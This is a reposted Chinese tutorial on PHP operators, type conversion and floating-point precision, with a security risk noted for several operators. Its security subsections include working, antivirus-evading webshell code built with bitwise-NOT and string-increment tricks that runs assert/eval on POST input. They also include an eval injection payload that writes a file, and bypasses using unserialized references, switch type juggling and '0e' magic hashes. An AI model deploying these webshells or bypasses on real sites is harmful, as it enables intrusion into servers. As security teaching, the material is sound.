转载

PHP Datatype Conversion Safety Risk、Floating Point Precision、Operator Security Risk、Safety ...

catalog

0. 引言 1. PHP operator introduction 2. 算术运算符 3. 赋值运算符 4. 位运算符 5. 执行运算符 6. 递增/递减运算符 7. 数组运算符 8. 类型运算符 9. PHP自动类型转换 10. 浮点数运算中的精度损失 11. 比较运算符

0. 引言

本文试图讨论PHP中因为运算符导致的各种安全问题/风险/漏洞,其他很多本质上并不能算PHP本身的问题,而更多时候在于PHP程序员对语言本身的理解以及对安全编码规范的践行,我们逐个讨论PHP中的运算符相关知识原理,并在每一个小节中分别讨论与此相关的安全问题

Relevant Link:

http://www.freebuf.com/news/67007.html http://php.net/manual/zh/language.operators.php

1. PHP operatorintroduction

运算符是可以通过给出的一或多个值来产生另一个值(因而整个结构成为一个表达式)的语法结构,运算符可按照其能接受几个值来分组

1. 一元运算符只能接受一个值,例如     1) !(逻辑取反运算符)     2)_ ++(递增运算符) 2. 二元运算符可接受两个值,例如     1)算术运算符 +(加)和 -(减),大多数 PHP 运算符都是这种 3. 三元运算符,例如     1) ? :,可接受三个值;通常就简单称之为"三元运算符"

0x1: 运算符优先级

运算符优先级指定了两个表达式绑定得有多"紧密"。例如,表达式 1 + 5 * 3 的结果是 16 而不是 18 是因为乘号("*")的优先级比加号("+")高。必要时可以用括号来强制改变优先级。例如:(1 + 5) * 3 的值为 18

如果运算符优先级相同,其结合方向决定着应该从右向左求值,还是从左向右求值——见下例,下表按照优先级 从高到低 列出了运算符。同一行中的运算符具有相同优先级,此时它们的结合方向决定求值顺序

运算符优先级
结合方向 运算符 附加信息
clone new clone  和   new
[ array()
++ -- ~ (int) (float) (string) (array) (object) (bool) @ 类型 和 递增/递减
instanceof 类型
! 逻辑运算符
* / % 算术运算符
+ - . 算术运算符 和 字符串运算符
<< >> 位运算符
== != === !== <> 比较运算符
& 位运算符 和 引用
^ 位运算符
| 位运算符
&& 逻辑运算符
|| 逻辑运算符
? : 三元运算符
= += -= *= /= .= %= &= |= ^= <<= >>= => 赋值运算符
and 逻辑运算符
xor 逻辑运算符
or 逻辑运算符
, 多处用到

对具有相同优先级的运算符,左结合方向意味着将从左向右求值,右结合方向则反之。对于无结合方向具有相同优先级的运算符,该运算符有可能无法与其自身结合。举例说,在 PHP 中 1 < 2 > 1 是一个非法语句,而 1 <= 1 == 1 则不是。因为 T_IS_EQUAL 运算符的优先级比 T_IS_SMALLER_OR_EQUAL 的运算符要低

0x2: security risk

尽管 = 比其它大多数的运算符的优先级低,PHP 仍旧允许类似如下的表达式:if (!$a = foo()),在此例中 foo() 的返回值被赋给了 $a,这导致了一种可能的安全风险很多网站的模版系统采用这种方式进行模版标签、动态模版变量的注册

eval("/$rs2[title]=/"$rs2[title]/";");

这在大多数正常情况下是没有问题的,但是黑客可以通过注入一个"动态执行函数字符串"来实现函数动态执行,例如: ${@fwrite(fopen('ali.php', 'w+'), 'test’)} 这种语法这样在eval中原本的赋值操作就会变成函数执行后,将返回结果赋值给变量,从而达到了黑客注入代码执行的目的

0x3: 安全编码规范

在编码中,如果一定要使用eval进行模版变量的本地化注册,则最好使用单引号而不是双引号将用于赋值的对象包裹起来,因为单引号是不具有动态函数执行的能力的

Relevant Link:

http://php.net/manual/zh/language.operators.precedence.php

2. 算术运算符

算术运算符
例子 名称 结果
-$a 取反 $a  的负值。
$a + $b 加法 $a  和   $b  的和。
$a - $b 减法 $a  和   $b  的差。
$a * $b 乘法 $a  和   $b  的积。
$a / $b 除法 $a  除以   $b  的商。
$a % $b 取模 $a  除以   $b  的余数。

需要明白的是

1. 除法运算符总是返回浮点数。只有在下列情况例外     1) 两个操作数都是整数(或字符串转换成的整数)     2) 并且正好能整 这时它返回一个整数 2. 取模运算符的操作数在运算之前都会转换成整数(除去小数部分) 3. 取模运算符 % 的结果和被除数的符号(正负号)相同。即 $a % $b 的结果和 $a 的符号相同

Relevant Link:

http://php.net/manual/zh/language.operators.arithmetic.php

3. 赋值运算符

基本的赋值运算符是"="。一开始可能会以为它是"等于",其实不是的。它实际上意味着把右边表达式的值赋给左边的运算数(本质是一个运算数)赋值运算表达式的值也就是所赋的值。也就是说,"$a = 3"的值是 3。这样就可以做一些小技巧

<?php      $a = ($b = 4) + 5; // $a 现在成了 9,而 $b 成了 4。 ?>

0x1: security risk

在 PHP 中普通的传值赋值行为有个例外就是碰到对象 object 时,在 PHP 5 中是以引用赋值的,除非明确使用了 clone 关键字来拷贝,PHP 支持引用赋值,使用“$var = &$othervar;”语法。引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西

<?php  $a = 3;  $b = &$a; // $b 是 $a 的引用   print "$a/n"; // 输出 3  print "$b/n"; // 输出 3   $a = 4; // 修改 $a   print "$a/n"; // 输出 4  print "$b/n"; // 也输出 4,因为 $b 是 $a 的引用,因此也被改变 ?> 

PHP的引用赋值的这个特定会带来一个安全隐患,黑客有可能在不知道目标变量实际值的情况下,传入目标变量的引用,以此实现绕过密码判断逻辑的目的,思考下面这段示例代码

<?php class just4fun  {  var $enter;  var $secret; } if (isset($_GET['pass']))  {  $pass = $_GET['pass'];  if(get_magic_quotes_gpc())  {   $pass=stripslashes($pass);  }  $o = unserialize($pass);  if ($o)   {   $o->secret = "hack for fun!!";   if ($o->secret === $o->enter)   {    echo "Congratulation! Here is my secret: ".$o->secret;   }  }  else  {   echo "Oh no... You can't fool me";  }  else echo "are you trolling?"; } ?> 

黑客可通过在传入的序列化对象中,将$o-> enter = $o->secret,以此实现引用赋值,来绕过密码判断逻辑

Relevant Link:

http://drops.wooyun.org/papers/660 http://php.net/manual/zh/language.operators.assignment.php 

4. 位运算符

位运算符允许对整型数中指定的位进行求值和操作

位运算符
例子 名称 结果
$a & $b And(按位与) 将把 $a  和   $b  中都为 1 的位设为 1。
$a | $b Or(按位或) 将把 $a  和   $b  中任何一个为 1 的位设为 1。
$a ^ $b Xor(按位异或) 将把 $a  和   $b  中一个为 1 另一个为 0 的位设为 1。
~ $a Not(按位取反) $a  中为 0 的位设为 1,反之亦然。
$a << $b Shift left(左移) $a  中的位向左移动   $b  次(每一次移动都表示“乘以 2”)。
$a >> $b Shift right(右移) $a  中的位向右移动   $b  次(每一次移动都表示“除以 2”)。

位移在 PHP 中是数学运算。向任何方向移出去的位都被丢弃

1. 左移时右侧以零填充,符号位被移走意味着正负号不被保留 2. 右移时左侧以符号位填充,意味着正负号被保留  //要注意数据类型的转换。如果左右参数都是字符串,则位运算符将对字符的 ASCII 值进行操作,我们在之后的数据类型隐式转换中还会再次详细讨论PHP这个特性

0x1: security risk

从本质上来说,位运算符可以理解为一种"加密变换"处理,黑客可以利用位运算符对字符串的处理对WEBSHELL代码进行加密,从而躲避本地anti-virus的查杀

WEBSHELL代码 <?php  $x = ~"žŒŒš‹";  $y = ~"—–‘™×Ö";  $x($y); ?> 生成原理 <?php  echo ~"assert";  echo ~"phpinfo()"; ?> //注意这个文件一定要保存为ANSI格式 

Relevant Link:

http://php.net/manual/zh/language.operators.bitwise.php http://www.cnblogs.com/LittleHann/p/3522990.html 

5. 执行运算符

PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为外壳命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符"`"的效果与函数 shell_exec() 相同

<?php     $output = `ls -al`;     echo "<pre>$output</pre>"; ?>

需要注意的是,反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的

0x1: security risk

黑客可以利用PHP中对反引号命令解析的这个特性,部署WEBSHELL

Relevant Link:

http://php.net/manual/zh/language.operators.execution.php http://www.cnblogs.com/LittleHann/p/3522990.html

6. 递增/递减运算符

PHP 支持 C 风格的前/后递增与递减运算符

递增/递减运算符
例子 名称 效果
++$a 前加 $a  的值加一,然后返回   $a
$a++ 后加 返回 $a ,然后将   $a  的值加一。
--$a 前减 $a  的值减一, 然后返回   $a
$a-- 后减 返回 $a ,然后将   $a  的值减一。

递增/递减运算符不影响布尔值。递减 NULL 值也没有效果,但是递增 NULL 的结果是 1,在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如

1. 在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA'2. 在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90'[' 的 ASCII 值是 91) //注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化 

涉及字符变量的算数运算

<?php  $i = 'W';  for ($n=0; $n<6; $n++)   {   echo ++$i . "/n";  } ?> 以上例程会输出: X Y Z AA AB AC //递增或递减布尔值没有效果 

0x1: security risk

利用PHP对字符串的自增操作的特性,黑客可以动态进行WEBSHELL字符串的拼接,从而躲避基于特征检查的anti-virus

<?php $_=""; $_[+$_]++; $_=$_.""; $___=$_[+""];//A $____=$___; $____++;//B $_____=$____; $_____++;//C $______=$_____; $______++;//D $_______=$______; $_______++;//E $________=$_______; $________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O $_________=$________; $_________++;$_________++;$_________++;$_________++;//S $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++;$________++;$________++;//R $_____=$_________; $_____++;//T $__=$___.$_________.$_________.$_______.$________.$_____; $__($_("ZXZhbCgkX1BPU1RbMV0p"));    //ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p")); //ASSERT("eval($_POST[1])"); //key:=1 ?>

Relevant Link:

http://www.cnblogs.com/LittleHann/p/3522990.html http://php.net/manual/zh/language.operators.increment.php

7. 数组运算符

数组运算符
例子 名称 结果
$a + $b 联合 $a  和   $b  的联合。
$a == $b 相等 如果 $a  和   $b  具有相同的键/值对则为   TRUE
$a === $b 全等 如果 $a  和   $b  具有相同的键/值对并且顺序和类型都相同则为   TRUE
$a != $b 不等 如果 $a  不等于   $b  则为   TRUE
$a <> $b 不等 如果 $a  不等于   $b  则为   TRUE
$a !== $b 不全等 如果 $a  不全等于   $b  则为   TRUE

"+"运算符把右边的数组元素附加到左边的数组后面,两个数组中都有的键名,则只用左边数组中的,右边的被忽略

<?php     $a = array("a" => "apple", "b" => "banana");     $b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");      $c = $a + $b; // Union of $a and $b     echo "Union of /$a and /$b: /n";     var_dump($c);      $c = $b + $a; // Union of $b and $a     echo "Union of /$b and /$a: /n";     var_dump($c); ?>  执行后,此脚本会显示: Union of $a and $b: array(3) {   ["a"]=>   string(5) "apple"   ["b"]=>   string(6) "banana"   ["c"]=>   string(6) "cherry" } Union of $b and $a: array(3) {   ["a"]=>   string(4) "pear"   ["b"]=>   string(10) "strawberry"   ["c"]=>   string(6) "cherry" }

数组中的单元如果具有相同的键名和值则比较时相等

<?php     $a = array("apple", "banana");     $b = array(1 => "banana", "0" => "apple");      var_dump($a == $b); // bool(true),值相等     var_dump($a === $b); // bool(false),键值都必须相等 ?>

Relevant Link:

http://php.net/manual/zh/language.operators.array.php

8. 类型运算符

instanceof 用于确定一个 PHP 变量是否属于某一类 class 的实例

<?php  class MyClass  {  }  class NotMyClass  {  }  $a = new MyClass;  var_dump($a instanceof MyClass);  var_dump($a instanceof NotMyClass); ?> 以上例程会输出: bool(true) bool(false) 

instanceof 也可用来确定一个变量是不是继承自某一父类的子类的实例

<?php  class ParentClass  {  }  class MyClass extends ParentClass  {  }  $a = new MyClass;  var_dump($a instanceof MyClass);  var_dump($a instanceof ParentClass); ?> 以上例程会输出: bool(true) bool(true) 

Relevant Link:

http://php.net/manual/zh/language.operators.type.php

9. PHP自动类型转换

0x1: 类型转换的判别

PHP 在变量定义中不需要(或不支持)明确的类型定义;变量类型是根据使用该变量的上下文所决定的。也就是说,如果把一个 string 值赋给变量 $var,$var 就成了一个 string。如果又把一个integer 赋给 $var,那它就成了一个integer

PHP 的自动类型转换的一个例子是加法运算符"+"

//转换原则 1. 如果任何一个操作数是float,则所有的操作数都被当成float,结果也是float 2. 否则操作数会被解释为integer,结果也是integer //注意这并没有改变这些操作数本身的类型;改变的仅是这些操作数如何被求值以及表达式本身的类型 

看下列的示例代码

<?php  $foo = "0";  // $foo 是字符串 (ASCII 48)  $foo += 2;   // $foo 现在是一个整数 (2)  $foo = $foo + 1.3;  // $foo 现在是一个浮点数 (3.3)  $foo = 5 + "10 Little Piggies"; // $foo 是整数 (15)  $foo = 5 + "10 Small Pigs";  // $foo 是整数 (15) ?> 

自动转换为 数组 的行为目前没有定义。此外,由于 PHP 支持使用和数组下标同样的语法访问字符串下标

<?php     $a    = 'car'; // $a is a string     $a[0] = 'b';   // $a is still a string     echo $a;       // bar ?>

0x2: 类型强制转换

PHP 中的类型强制转换和 C 中的非常像:在要转换的变量之前加上用括号括起来的目标类型

1. (int), (integer) - 转换为整形 integer 2. (bool), (boolean) - 转换为布尔类型 boolean 3. (float), (double), (real) - 转换为浮点型 float 4. (string) - 转换为字符串 string 5. (array) - 转换为数组 array 6. (object) - 转换为对象 object 7. (unset) - 转换为 NULL (PHP 5)

Relevant Link:

http://php.net/manual/zh/language.types.type-juggling.php

0x3: 转换为布尔值

要明确地将一个值转换成 boolean,用 (bool) 或者 (boolean) 来强制转换。但是很多情况下不需要用强制转换,因为当运算符,函数或者流程控制结构需要一个 boolean 参数时,该值会被自动转换

1. 当转换为 boolean 时,以下值被认为是 FALSE  1) 布尔值 FALSE 本身  2) 整型值 0(零)  3) 浮点型值 0.0(零)  4) 空字符串,以及字符串 "0"  5) 不包括任何元素的数组  6) 不包括任何成员变量的对象(仅 PHP 4.0 适用)  7) 特殊类型 NULL(包括尚未赋值的变量)  8) 从空标记生成的 SimpleXML 对象 2. 当转换为 boolean 时,以下值被认为是 TRUE  1) 除上述之外所有其它值都被认为是 TRUE(包括任何资源)  2) -1 和其它非零值(不论正负)一样,被认为是 TRUE 

代码示例

<?php  var_dump((bool) "");  // bool(false)  var_dump((bool) 1);   // bool(true)  var_dump((bool) -2);  // bool(true)  var_dump((bool) "foo");  // bool(true)  var_dump((bool) 2.3e5);  // bool(true)  var_dump((bool) array(12)); // bool(true)  var_dump((bool) array());   // bool(false)  var_dump((bool) "false");   // bool(true) ?> 

Relevant Link:

http://php.net/manual/zh/language.types.boolean.php#language.types.boolean.casting

0x4: 从布尔值转换为整型

要明确地将一个值转换为 integer,用 (int) 或 (integer) 强制转换。不过大多数情况下都不需要强制转换,因为当运算符,函数或流程控制需要一个 integer 参数时,值会自动转换。还可以通过函数 intval() 来将一个值转换成整型从布尔值转换: FALSE 将产生出 0(零),TRUE 将产生出 1(壹)

0x5: 从浮点型转换为整型

从浮点型转换: 当从浮点数转换成整数时,将向下取整,如果浮点数超出了整数范围(32 位平台下通常为 +/- 2.15e+9 = 2^31,64 位平台下通常为 +/- 9.22e+18 = 2^63),则结果为未定义,因为没有足够的精度给出一个确切的整数结果。在此情况下没有警告,甚至没有任何通知,决不要将未知的分数强制转换为 integer,这样有时会导致不可预料的结果

<?php     echo (int) ( (0.1+0.7) * 10 ); // 显示 7! ?>  //详细的原理分析见下节:浮点数运算中的精度损失

浮点型(也叫浮点数 float,双精度数 double 或实数 real)可以用以下任一语法定义

<?php     $a = 1.234;      $b = 1.2e3;      $c = 7E-10; ?>

浮点数的形式表示

LNUM          [0-9]+ DNUM          ([0-9]*[/.]{LNUM}) | ({LNUM}[/.][0-9]*) EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM}) //浮点数的字长和平台相关 

0x6: 转换为字符串

1. 一个值可以通过在其前面加上 (string) 或用 strval() 函数来转变成字符串 2. 在一个需要字符串的表达式中,会自动转换为 string。比如在使用函数 echo 或 print 时,或在一个变量和一个 string 进行比较时,就会发生这种转换  3. 一个布尔值 boolean 的 TRUE 被转换成 string"1"。Boolean 的 FALSE 被转换成 ""(空字符串)。这种转换可以在 boolean 和 string 之间相互进行 4. 一个整数 integer 或浮点数 float 被转换为数字的字面样式的 string(包括 float 中的指数部分)。使用指数计数法的浮点数(4.1E+6)也可转换 5. 数组 array 总是转换成字符串 "Array",因此,echo 和 print 无法显示出该数组的内容。要显示某个单元,可以用 echo $arr['foo'] 这种结构。要显示整个数组内容见下文 5. 在 PHP 4 中对象 object 总是被转换成字符串 "Object",如果为了调试原因需要打印出对象的值,请继续阅读下文。为了得到对象的类的名称,可以用 get_class() 函数。自 PHP 5 起,适当时可以用 __toString 方法。 6. 资源 resource 总会被转变成 "Resource id #1" 这种结构的字符串,其中的 1 是 PHP 在运行时分配给该 resource 的唯一值。不要依赖此结构,可能会有变更。要得到一个 resource 的类型,可以用函数 get_resource_type()

数组array转换为字符串时得到的结果为"array"这个特性,常常被黑客利用进行WEBSHELL的变形隐藏,看下面的代码示例

<?php  //声明一个字符串  $_="";  var_dump($_);  /*  []括号内使用了加法运算符,将字符串强转为了整型0,即$_[0]++,$_ = array(0 => "1")  */  $_[+$_]++;  var_dump($_);  //因为字符串拼接运算符的原因,$_数组被强制转换为了字符串,输出Array字符  $_=$_."";  var_dump($_);  //$_ = "Array" ?> 

0x6: 从字符串转换为整型

当一个字符串被当作一个数值来取值,其结果和类型如下

1. 如果该字符串没有包含 '.''e''E' 并且其数字值在整型的范围之内(由 PHP_INT_MAX 所定义),该字符串将被当成 integer 来取值。其它所有情况下都被作为 float 来取值  2. 该字符串的开始部分决定了它的值     1) 如果该字符串以合法的数值开始,则使用该数值     2) 否则其值为 0(零) //合法数值由可选的正负号,后面跟着一个或多个数字(可能有小数点),再跟着可选的指数部分。指数部分由 'e' 或 'E' 后面跟着一个或多个数字构成 

代码示例

<?php  $foo = 1 + "10.5";    // $foo is float (11.5)  $foo = 1 + "-1.3e3";     // $foo is float (-1299)  $foo = 1 + "bob-1.3e3";     // $foo is integer (1)  $foo = 1 + "bob3";    // $foo is integer (1)  $foo = 1 + "10 Small Pigs";    // $foo is integer (11)  $foo = 4 + "10.2 Little Piggies"; // $foo is float (14.2)  $foo = "10.0 pigs " + 1;    // $foo is float (11)  $foo = "10.0 pigs " + 1.0;  // $foo is float (11)   ?> 

PHP中字符串转换为整型数是一个相对来说比较复杂的情况,这其中涉及到PHP底层的C代码的处理方式,我们接下来重点讨论几种比较容易存在安全风险和BYPASS的转换方式,以及规避这种风险的方法

1. "ASCII字符串""纯整型数字(不包括科学记数法('e'、'E')、浮点小数'.'的double、float)"混合情况下转换为整型 2. "ASCII字符串""整型数字(可能包括"e""E"字符)"混合情况下转换为整型 3. "ASCII"字符串和"纯浮点型数字(科学记数法、浮点小数'.'的double、float)"混合情况下转换为浮点型

它们分别对应于UNIX C函数库中的API函数

#include <stdlib.h> 1. strtod(): 字符串 -> 浮点型 2. strtol(): 字符串 -> 整型

1. "ASCII字符串"和"纯整型数字(不包括科学记数法('e'、'E')、浮点小数'.'的double、float)"混合情况下转换为整型

要理解PHP如何处理将数字字母字符串混合体转换为整型数,我们必须要理解PHP对应的底层处理逻辑,如果该字符串没有包含 '.','e' 或 'E' 并且其数字值在整型的范围之内(由 PHP_INT_MAX 所定义),该字符串将被当成 integer 来取值

<?php     $foo = 1 + "10.5";                // $foo is float (11.5) ?>

2. "ASCII字符串"和"整型数字(可能包括"e"、"E"字符)"混合情况下转换为整型

在这种场景下,PHP的转换方式分为几种

1. 字符串以ASCII字母开头: 转换结果为0 2. 字符串以数字开头,到某一位遇到ASCII字符,则截取到纯数字为止,之后的ASCII字符忽略

示例代码

<?php      $foo = 1 + "bob-1.3e3";                // $foo is integer (1)      var_dump("08c6a51dde006e64aed953b94fd68f0c" == 8);    //true ?>

在这种情况下,可能带来一些潜在的安全绕过问题,看下列的示例代码

<?php if (isset($_GET['which'])) {  $which = $_GET['which'];  switch ($which)  {  case 0:  case 1:  case 2:   require_once $which.'.php';   break;  default:   echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);   break;  } } ?> //xxx?which=solution可以成功 

因为switch的关系,黑客提交的字符串"solution"被转换为整型数字0

3. "ASCII"字符串和"纯浮点型数字(科学记数法、浮点小数'.'的double、float)"混合情况下转换为浮点型

函数 strtod() 用来将字符串转换成双精度浮点数(double)

/* 1. str: 要转换的字符串,参数 str 字符串可包含正负号、小数点或E(e)来表示指数部分。如123. 456 或123e-2 2. endstr: 第一个不能转换的字符的指针,若endptr 不为NULL,则会将遇到的不符合条件而终止的字符指针由 endptr 传回;若 endptr 为 NULL,则表示该参数无效,或不使用该参数  【返回值】返回转换后的浮点型数;若不能转换或字符串为空,则返回 0.0  */ double strtod (const char* str, char** endptr);

strtod() 函数会扫描参数str字符串,跳过前面的空白字符(例如空格,tab缩进等,可以通过 isspace() 函数来检测),直到遇上数字或正负符号才开始做转换,到出现非数字或字符串结束时('/0')才结束转换,并将结果返回需要特别注意的是,这里说的"纯浮点型数字(科学记数法、浮点小数'.'的double、float)"必须是"e/E"之外为纯数字,只要在"xxx.e"之后的字符串中有一个不为纯数字,则当前不会判定为科学记数法

<?php  //"e"之后为纯数字,结果为 0e^123456789012345678901234567890 == 0e^123456789012345678901234567122191的比较  var_dump("0e123456789012345678901234567890" == "0e123456789012345678901234567122191"); //true  //0e^123456789012345678901234567890 == 0  var_dump("0e123456789012345678901234567890" == "0");  var_dump("000e123456789012345678901234567890" == "0"); ?> 

在这种情况下会带来一个新的安全问题,以纯零开头(0、00、000..)的纯科学记数法字符串在转换为整型的时候,结果都为零,这可能导致登录验证的绕过

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166

当然,通过数学概率运算即可推知,满足条件的hash出现概率为

P = Sum(10^n,n=0,30) / 16^32 = 3.26526*10^-9 = 3.26526*10^-9

解决的方法也很简单,PHP的开发者在进行登录比较验证的时候,应该统一使用"==="运算符,以此来规避潜在的安全风险

4. 发生强制类型转换时的情况

<?php        var_dump((float)"12.43e1d2");              //float 124.3      var_dump("12.43e1d2" == "124.3");          //boolean false      var_dump((float)"12.43e1d2" == "124.3");   //boolean true ?>

我们从PHP源代码的角度来深入讨论PHP处理字符串的转换方式
/php-src-master/Zend/zend_operators.c

ZEND_API zend_uchar ZEND_FASTCALL _is_numeric_string_ex(const char *str, size_t length, zend_long *lval, double *dval, int allow_errors, int *oflow_info) /* {{{ */ {  const char *ptr;  int digits = 0, dp_or_e = 0;  double local_dval = 0.0;  zend_uchar type;  if (!length)   {   return 0;  }  if (oflow_info != NULL)   {   *oflow_info = 0;  }  /* Skip any whitespace   * This is much faster than the isspace() function */  while (*str == ' ' || *str == '/t' || *str == '/n' || *str == '/r' || *str == '/v' || *str == '/f')   {   str++;   length--;  }  ptr = str;  //判断正负号  if (*ptr == '-' || *ptr == '+') {   ptr++;  }  //如果字符串的开头不是纯数字或者浮点型".",则直接返回0  if (ZEND_IS_DIGIT(*ptr))   {   /* Skip any leading 0s */   while (*ptr == '0')    {    ptr++;   }   /* Count the number of digits. If a decimal point/exponent is found,    * it's a double. Otherwise, if there's a dval or no need to check for    * a full match, stop when there are too many digits for a long */   for (type = IS_LONG; !(digits >= MAX_LENGTH_OF_LONG && (dval || allow_errors == 1)); digits++, ptr++)    { check_digits:    if (ZEND_IS_DIGIT(*ptr))     {     continue;    }     else if (*ptr == '.' && dp_or_e < 1)     {     goto process_double;    }     //科学记数法    else if ((*ptr == 'e' || *ptr == 'E') && dp_or_e < 2)     {     const char *e = ptr + 1;     if (*e == '-' || *e == '+')      {      ptr = e++;     }     //如果当前字符串为科学记数法,则要求"e"、"E"之后的字符为纯数字,否则不能当成float科学记数法判断     if (ZEND_IS_DIGIT(*e))      {      goto process_double;     }    }    break;   }   if (digits >= MAX_LENGTH_OF_LONG) {    if (oflow_info != NULL) {     *oflow_info = *str == '-' ? -1 : 1;    }    dp_or_e = -1;    goto process_double;   }  }   //"xx.12"的浮点型数字  else if (*ptr == '.' && ZEND_IS_DIGIT(ptr[1]))   { process_double:   type = IS_DOUBLE;   /* If there's a dval, do the conversion; else continue checking    * the digits if we need to check for a full match */   if (dval)    {    local_dval = zend_strtod(str, &ptr);   }    else if (allow_errors != 1 && dp_or_e != -1)    {    dp_or_e = (*ptr++ == '.') ? 1 : 2;    goto check_digits;   }  }   //转换过程中如果遇到了一个不能转换为整型的字母,则转换结束  else   {   return 0;  }  if (ptr != str + length)   {   if (!allow_errors) {    return 0;   }   if (allow_errors == -1) {    zend_error(E_NOTICE, "A non well formed numeric value encountered");   }  }  if (type == IS_LONG) {   if (digits == MAX_LENGTH_OF_LONG - 1) {    int cmp = strcmp(&ptr[-digits], long_min_digits);    if (!(cmp < 0 || (cmp == 0 && *str == '-'))) {     if (dval) {      *dval = zend_strtod(str, NULL);     }     if (oflow_info != NULL) {      *oflow_info = *str == '-' ? -1 : 1;     }     return IS_DOUBLE;    }   }   if (lval) {    *lval = ZEND_STRTOL(str, NULL, 10);   }   return IS_LONG;  } else {   if (dval) {    *dval = local_dval;   }   return IS_DOUBLE;  } } 

Relevant Link:

http://www.wechall.net/challenge/php0817/index.php http://c.biancheng.net/cpp/html/128.html http://linux.die.net/man/3/strtol  http://php.net/manual/zh/language.types.type-juggling.php http://www.freebuf.com/news/67007.html

10. 浮点数运算中的精度损失

PHP是一种弱类型语言, 这样的特性, 必然要求有无缝透明的隐式类型转换, PHP内部使用zval来保存任意类型的数值, zval的结构如下

struct _zval_struct  {  /* Variable information */  zvalue_value value;  /* value */  zend_uint refcount;  zend_uchar type; /* active type */  zend_uchar is_ref; }; //上面的结构中, 实际保存数值本身的是zvalue_value联合体 typedef union _zvalue_value  {  long lval;      /* long value */  double dval;    /* double value */  struct   {   char *val;   int len;  } str;  HashTable *ht;     /* hash table value */  zend_object_value obj; } zvalue_value; 

我们重点关注其中两个成员

1. long lval: long lval是随着编译器, OS的字长不同而不定长的, 它有可能是32bits或者64bits 2. double dval: 而double dval(双精度)由IEEE 754规定, 是定长的, 一定是64bits  //double的尾数采用52位bit来保存, 算上隐藏的1位有效位, 一共是53bits.

PHP在执行一个脚本之前, 首先需要读入脚本, 分析脚本, 这个过程中也包含着, 对脚本中的字面量进行zval化, 比如对于如下脚本:

<?php  $a = 9223372036854775807; //64位有符号数最大值  $b = 9223372036854775808; //最大值+1  var_dump($a);  var_dump($b); 输出: int(9223372036854775807) float(9.22337203685E+18) 

PHP在词法分析阶段, 对于一个字面量的数值, 会去判断, 是否超出了当前系统的long的表值范围

1. 如果在long型范围之内,则用lval来保存,zval为IS_LONG 2. 超出了long型范围,则就用dval表示,zval IS_FLOAT.

凡是大于最大的整数值的数值, 我们都要小心, 因为它可能会有精度损失

<?php     $a = 9223372036854775807;     $b = 9223372036854775808;           var_dump($a === ($b - 1));     输出是false.

这个问题的根源是在于PHP中long型和double型存在一个临界值(PHP_INT_MAX),我们讨论一下也就是一个long的整数, 最大的值是多少, 才能保证转到float以后再转回long不会发生精度丢失

比如, 对于整数, 我们知道它的二进制表示是, 101, 现在, 让我们右移俩位, 变成1.01, 舍去高位的隐含有效位1, 我们得到在double中存储5的二进制数值为: 0/*符号位*/ 10000000001/*指数位*/ 0100000000000000000000000000000000000000000000000000 5的二进制表示, 丝毫未损的保存在了尾数部分, 这个情况下, 从double转会回long, 不会发生精度丢失.  我们知道double用52位表示尾数, 算上隐含的首位1, 一共是53位精度.. 那么也就可以得出, 如果一个long的整数, 值小于: 2^53 - 1 == 9007199254740991; //牢记, 我们现在假设是64bits的long 那么, 这个整数, 在发生long->double->long的数值转换时, 不会发生精度丢失.

long、double型互转产生的精度丢失本质上是移位导致的字符丢失问题基于以上讨论,我们知道PHP的整数, 可能是32位, 也可能是64位, 那么就决定了, 一些在64位上可以运行正常的代码, 可能会因为隐形的类型转换, 发生精度丢失, 从而造成代码不能正常的运行在32位系统上

0x1: 浮点数表示带来的"BUG"

<?php     $f = 0.58;     var_dump(intval($f * 100)); //输出57 ?>

要理解这个问题,我们来讨论一下浮点数的表示(IEEE 754)

浮点数: 以64位的长度(双精度)为例, 会采用1位符号位(E), 11指数位(Q), 52位尾数(M)表示(一共64位).  1. 符号位:最高位表示数据的正负,0表示正数,1表示负数。 2. 指数位:表示数据以2为底的幂,指数采用偏移码表示 3. 尾数:表示数据小数点后的有效数字.

这里的关键点就在于,小数在二进制的表示,0.58 对于二进制表示来说, 是无限长的值(下面的数字省掉了隐含的1)..

0.58的二进制表示基本上(52位)是: 0010100011110101110000101000111101011100001010001111 0.57的二进制表示基本上(52位)是: 0010001111010111000010100011110101110000101000111101 //而两者的二进制, 如果只是通过这52位计算的话,分别是: 0.58 -> 0.57999999999999996 0.57 -> 0.56999999999999995

则0.58 * 100 = 57.999999999,intval后的结果就是57了

看似有穷的小数, 在计算机的二进制表示里却是无穷的

0x2: 缓解浮点数比较的精度丢失问题

由于内部表达方式的原因,比较两个浮点数是否相等是有问题的。可以采用迂回的方法来比较浮点数值要测试浮点数是否相等,要使用一个仅比该数值大一丁点的最小误差值。该值也被称为机器极小值(epsilon)或最小单元取整数,是计算中所能接受的最小的差别值

<?php  $a = 1.23456789;  $b = 1.23456780;  $epsilon = 0.00001;  if(abs($a-$b) < $epsilon)   {   echo "true";  } ?> 

Relevant Link:

http://www.laruence.com/2011/12/19/2399.html http://php.net/manual/zh/language.types.float.php#warn.float-precision http://www.laruence.com/2013/03/26/2884.html

11. 比较运算符

比较运算符,如同它们名称所暗示的,允许对两个值进行比较

比较运算符
例子 名称 结果
$a == $b 等于 TRUE ,如果类型转换后   $a  等于   $b
$a === $b 全等 TRUE ,如果   $a  等于   $b ,并且它们的类型也相同。
$a != $b 不等 TRUE ,如果类型转换后   $a  不等于   $b
$a <> $b 不等 TRUE ,如果类型转换后   $a  不等于   $b
$a !== $b 不全等 TRUE ,如果   $a  不等于   $b ,或者它们的类型不同。
